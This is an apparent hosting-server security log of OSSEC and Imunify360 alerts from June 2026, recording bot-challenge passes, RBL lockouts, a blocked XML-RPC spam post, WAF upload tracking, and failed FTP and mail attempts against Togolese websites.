rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.194
country_id: 1880251
description:
47.128.96.194 - - [09/Jun/2026:09:23:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7037551&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvaccin-astrazeneca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997037 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vaccin-astrazeneca/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.194


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.235
country_id: 1269750
description:
Jun  9 09:24:03 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.5.108.11
country_id: 2186224
description:
Jun  9 09:24:24 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.5.108.11 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 185.192.71.110
country_id: 2635167
domain: togosem.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:sky.togosem.com||ServerName:togosem.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7779c1e8b8268d9588bc22293f550f20cd60fed9||Title:\xd0\x9f\xd0\xbe\xd0\xb4\xd1\x8a\xd0\xb5\xd0\xbc \xd0\xbf\xd0\xbe \xd0\xbb\xd0\xb5\xd1\x81\xd0\xb5\xd0\xbd\xd0\xba\xd0\xb5527845||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [09/Jun/2026:09:25:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934187&pdata=http%253A%252F%252F154.70.82.244%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997101 HTTP/1.1" 302 0 154.70.82.244 "http://154.70.82.244:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  9 09:25:08 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.2.82
country_id: 2363686
description:
[2026-06-09 09:25:46 +0000] info [cpaneld] 196.170.2.82 NEW verfghix:WJmgrIuAV49gWZNB address=196.170.2.82,app=cpaneld,creator=verfghix,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [09/Jun/2026:09:26:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776680&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsyl-consult-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997201 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/syl-consult-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.157
country_id: 1880251
description:
47.128.96.157 - - [09/Jun/2026:09:27:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815909&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-tomegah-dogbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997270 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-tomegah-dogbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.157


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [09/Jun/2026:09:27:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935979&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommission-de-luemoa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997277 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commission-de-luemoa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [09/Jun/2026:09:27:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778012&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcooperation-iran-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997258 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cooperation-iran-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.153.197.197
country_id: 1814991
description:
180.153.197.197 - - [09/Jun/2026:09:28:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9554887&pdata=https%253A%252F%252Flibertetogo.tg%252Findex.php%252F7127%252Finternational%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997312 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/index.php/7127/international/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.153.197.197


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [09/Jun/2026:09:29:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855577&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-tomegah-dogbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997346 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-tomegah-dogbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [09/Jun/2026:09:28:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657937&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997294 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [09/Jun/2026:09:28:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792410&pdata=http%253A%252F%252Ftogodailynews.tg%252Frentree-diplomatique-face-a-la-necessite-pressante-il-faut-agir-dixit-robert-dussey%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997298 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/rentree-diplomatique-face-a-la-necessite-pressante-il-faut-agir-dixit-robert-dussey/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.205
country_id: 1880251
description:
47.128.96.205 - - [09/Jun/2026:09:28:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6514073&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997309 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.205


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [09/Jun/2026:09:29:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262369&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997384 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [09/Jun/2026:09:29:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13004393&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997396 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 27.72.217.6
country_id: 1562822
description:
2026-06-09 09:30:10 H=([117.6.178.198]) [27.72.217.6]:2500 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [09/Jun/2026:09:29:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777290&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-hm-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997371 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-hm-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 102.211.168.154
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data[slides]||MV:{\"slide\":{\"addOns\":{},\"id\":2,\"version\":\"7.0.0\",\"title\":\"\",\"parentId\":null,\"language\":\"default\",\"order\":2,\"thumb\":{\"src\":\"\",\"srcId\":\"\",\"admin\":\"\",\"adminId\":\"\",\"dimension\":\"slider\",\"default\":{\"image\":{\"src\":\"https://camilliens.tg/wp-content/uploads/2026/06/2.webp\",\"repeat\":\"\",\"size\":\"cover\",\"pos\":{\"x\":\"50%\",\"y\":\"50%\"}}}},\"acc\":{\"label\":\"unset\",\"hidden\":\"true\",\"live\":\"auto\",\"role\":\"presentation\",\"roledep\":\"slide\"},\"description\":\"\",\"attr\":{\"class\":\"\",\"data\":\"\",\"id\":\"\",\"a\":\"\",\"aO\":\"ml\",\"t\":\"\",\"tO\":\"\",\"deepLink\":\"\",\"attr\":\"\"},\"publish\":{\"from\":\"\",\"to\":\"\",\"state\":\"published\",\"sch\":true},\"slideshow\":{\"stop\":false,\"len\":\"default\",\"hal\":0,\"hom\":false,\"hfn\":false},\"loop\":{\"u\":false,\"r\":-1,\"s\":0,\"e\":99999}},\"layers\":{\"3\":{\"fluid\":{\"tx\":true,\"tr\":true,\"sp\":true},\"id\":3,\"alias\":\"text-3\",\"content\":{\"text\":\"Servir le malade par amour pour Dieu\"},\"runtime\":{\"locked\":false,\"hidden\":false},\"size\":{\"w\":[\"731px\",\"731px\",\"#a\",\"#a\",\"#a\


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 09:30:05 ns5 pure-ftpd[616900]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [09/Jun/2026:09:30:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10392939&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-hm-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997409 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-hm-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 09:30:12 ns5 pure-ftpd[616900]: (?@146.190.126.213) [WARNING] Authentication failed for user [direct7]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [09/Jun/2026:09:30:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038824&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-reseau-voleurs-voitures%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997435 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-reseau-voleurs-voitures/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 82.21.100.140
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:rgph-5-sandra-ablamba-johnson-preside-une-reunion-devaluation-detape/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 27.72.217.6
country_id: 1562822
description:
2026-06-09 09:31:55 H=([117.6.178.198]) [27.72.217.6]:2501 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


